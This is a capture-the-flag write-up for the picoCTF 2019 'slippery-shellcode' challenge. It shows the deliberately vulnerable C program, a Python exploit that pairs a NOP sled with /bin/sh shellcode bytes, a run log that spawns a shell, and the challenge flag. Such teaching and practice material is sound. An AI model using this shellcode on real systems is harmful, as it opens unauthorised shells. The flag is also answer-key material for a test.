Jason Turley's Website

picoCTF 2019 - slippery-shellcode writeup

Description

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt?

Category: Binary Exploitation

Points: 200

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 512
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing from a random location now...");

  int offset = (rand() % 256) + 1;

  ((void (*)())(buf+offset))();


  puts("Finishing Executing Shellcode. Exiting now...");

  return 0;
}

Explanation

We are prompted to enter shellcode into a buffer. However, a random offset between 1 and 256 is chosen as the starting point for code execution. This means we cannot simply place the shellcode at the beginning of the buffer.

Plan

Exploit

My python exploit:

 # A random offset between 0 and 256 is chosen as the start of the buffer.
# Fill the first 256 bytes with a nop sled that will guarantee the shellcode
# will be executed.
#
# (python exploit.py; cat -) | ./vuln

nopsled = "\x90" * 256
shell = "\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"

print nopsled + shell

Run exploit:

$ (python exploit.py; cat -) | ./vuln
Enter your shellcode:
������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����������������������������������������������������������������������������������������1���Q
                                                                                             ^�晇�̀�����/bin//sh
Thanks! Executing from a random location now...
cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}

#writeups